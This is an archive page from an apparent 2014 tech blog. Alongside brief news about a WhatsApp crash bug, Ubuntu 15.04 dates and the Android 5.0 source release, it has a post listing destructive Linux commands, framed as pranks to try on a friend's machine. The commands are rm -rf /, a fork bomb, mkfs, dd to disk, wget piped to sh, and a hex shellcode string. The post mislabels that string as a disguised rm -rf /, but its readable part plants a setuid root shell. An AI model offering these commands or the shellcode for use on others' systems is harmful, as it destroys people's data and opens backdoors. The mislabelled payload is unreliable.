Saturday, 27 December 2014
Thursday, 4 December 2014
Crashing Whatsapp With Just an Message!!
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Labels:
Hacking,
Whatsapp
Crashing Whatsapp With Just An Message!!!
Whatsapp being Worlds most favourite chatting messenger now can be expoilted through a "Message".
Two 17 year researches from India have Developed it namely Indrajeet Bhuyan & Suarav Kar.
They have submitted the Video for POC :)
The Expoilt Code is:
The worried impact of the vulnerability is that the user who received the specially crafted message will have to delete his/her whole conversation and start a fresh chat, because opening the message keeps on crashing WhatsApp unless the chat is deleted completely.
Thanks for THN for providing the Video.
Tuesday, 25 November 2014
Ubuntu 15 release schedule
Ubuntu 15.04 which is codenamed Vivid Vervet has already gone in development. A tentative release schedule of Ubuntu 15.04 is out which says it will be released on 23 April 2015.
Now this is again interesting. Windows 10 which has taken plenty of features from Linux, is supposed to be released around mid next year. I have a tentative feeling that it could be in April 2015. This is because Windows 8 was released one week after Ubuntu 12.10 while Windows 8.1 and Ubuntu 13.10 were released on the same date of 17 October 2013.
Anyways, let’s have a look at Ubuntu 15.04 Release dates.
Ubuntu 15.04 release schedule
Alpha 1 – December 18th
Alpha 2 – January 22nd
Feature Freeze – February 19th
Beta 1 – February 28th
UI Freeze – March 12th
Final Beta – March 26th
Kernel Freeze – April 9th
Release Candidate – April 16th
Final Release – April 23rd
That concludes Ubuntu 15.04 release dates. Stay tuned for more updates on Ubuntu 15.04.
Sources:ITFOSS
Friday, 7 November 2014
Google Unveils Android Lollipop Source Code
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Labels:
Android,
Google
Android 5 Source -Code Revealed
Google has now officially completed the launch of the latest Android version by releasing the source code in Android Open Source Project (ASOP). The IT giant has unveiled all Android 5.0 code at its official Git webpage, (Check here), and source codes are now absolute ready for the manufacturers and custom ROM developers.
Android 5.0, Android 5.0 source code, Android 5.0 Lollipop, Google, Google Android 5.0 Lollipop release, Android, Android version release
Google has made the Android 5.0 code available as a part of android/platform build/lollipop-release branch with the build number of “LRX21M”. It has also added the device repositories for the new Nexus devices including Nexus Player, Nexus 6 and Nexus 9.
Along with that, the Android team has also shared a new documentation for Lollipop release, which would assist the developers about how to go with it. The Android Building Google Group post regarding the same can be viewed here.
Source:Efytimes
Superb Linux Commands To do Fun With.
Dangerous Linux Commands To Play :)
Don't ever Run These Commands on Your Linux Desktop......
Ahh well you can Try on Your Friends Linux Destro :)
1. rm -rf /
Deletes everything including files on your hard drive and files on connected removable media devices.
rm – Remove the following files.
-rf – Run rm recursively and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices,
including remote file shares and removable drives.
2. Disguised rm –rf /
Actually, the hex version of rm –rf / – wipes out your files just as if you had run rm –rf /.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
3. :(){ :|: & };:
This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that
continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.
4. mkfs.ext4 /dev/sda1
Equivalent to running format c: on Windows.
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
5. command > /dev/sda
Writes the data directly to the hard disk drive and damaging your file system.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
6. wget http://example.com/something -O – | sh
Downloads and runs a script.
wget – Downloads a file. (You may also see curl in place of wget.)
http://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
7. mv ~ /dev/null
Moves your home directory to a black hole.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
8. dd if=/dev/random of=/dev/sda
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Courtesy: How -to -geek
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